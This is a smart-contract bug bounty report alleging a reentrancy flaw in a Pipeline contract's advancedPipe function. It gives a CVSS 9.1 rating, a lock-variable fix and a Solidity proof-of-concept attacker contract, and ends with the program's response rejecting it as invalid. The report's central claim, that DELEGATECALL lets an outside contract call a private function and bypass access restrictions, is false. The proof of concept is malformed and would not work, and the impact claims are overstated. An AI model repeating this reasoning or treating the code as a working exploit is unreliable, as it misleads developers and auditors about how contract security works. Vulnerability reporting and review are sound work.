Reentrancy Vulnerability in Pipeline Contract
Report ID
#27228
Report type
Smart Contract
Has PoC?
Yes
Target
Impacts
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Bug Description
The advancedPipe
function in the Pipeline contract is vulnerable to a reentrancy attack due to the lack of a lock variable. This vulnerability allows an attacker to execute arbitrary code on the Pipeline contract by calling the advancedPipe
function recursively before the first function call has finished executing. Even though the _advancedPipe
function is declared as private, it is still possible for an attacker to call it multiple times using the DELEGATECALL
opcode. This allows the attacker to bypass access restrictions and call the _advancedPipe
function directly. This is because the DELEGATECALL
opcode allows one contract to delegate the execution of a function call to another contract.
Impact
The reentrancy vulnerability in the Pipeline contract could allow an attacker to:
- Steal funds from the Pipeline contract.
- Manipulate the state of the Pipeline contract in other ways.
Risk Breakdown
Difficulty to Exploit: Easy Weakness: The vulnerability is due to lack of a lock variable in the advancedPipe
function. This allows the function to be called recursively while it is still executing. CVSS2 Score: 9.1
Recommendation
the advancedPipe
function should be modified to add a lock variable. This lock variable should be set to true
before the function is executed and set to false
after the function has finished executing. This will prevent the function from being called recursively while it is still executing.
function _advancedPipe( AdvancedPipeCall calldata p, bytes[] memory returnData ) private returns (bytes memory result) { require(!locked, "Pipeline: Reentrancy attack"); locked = true; uint256 value = getEthValue(p.clipboard); if (p.clipboard[0] == 0x00) { result = _pipe(p.target, p.callData, value); } else { result = LibFunction.useClipboard(p.callData, p.clipboard, returnData); result = _pipeMem(p.target, result, value); } locked = false; }
References
- Pipeline Documentation: https://evmpipeline.org/pipeline.pdf
- Reentrancy Attack: https://solidity-by-example.org/hacks/re-entrancy/
Proof of concept
// SPDX-License-Identifier: MIT pragma solidity 0.7.6;
contract Attacker { address pipeline;
constructor(address _pipeline) {
pipeline = _pipeline;
}
function attack() external {
// Call the _advancedPipe function on the Pipeline contract using DELEGATECALL
(bool success, ) = pipeline.delegatecall(
abi.encodeWithSignature(
"_advancedPipe((address,bytes,bytes))",
(address(this), abi.encodeWithSignature("reentrancyAttack()"), "")
)
);
// Check if the function call was successful
require(success, "Function call failed");
}
}
// Main script contract Main { Pipeline pipeline;
constructor(Pipeline _pipeline) {
pipeline = _pipeline;
}
function exploit() external {
// Deploy the Attacker contract
Attacker attacker = new Attacker(address(pipeline));
// Call the attack function on the Attacker contract
attacker.attack();
}
BIC Response
This is not a valid bug report because Pipeline is not a contract that generally stores assets, and thus there are no assets to steal as a result of this reported vulnerability. Any funds left in Pipeline are a result of misuse.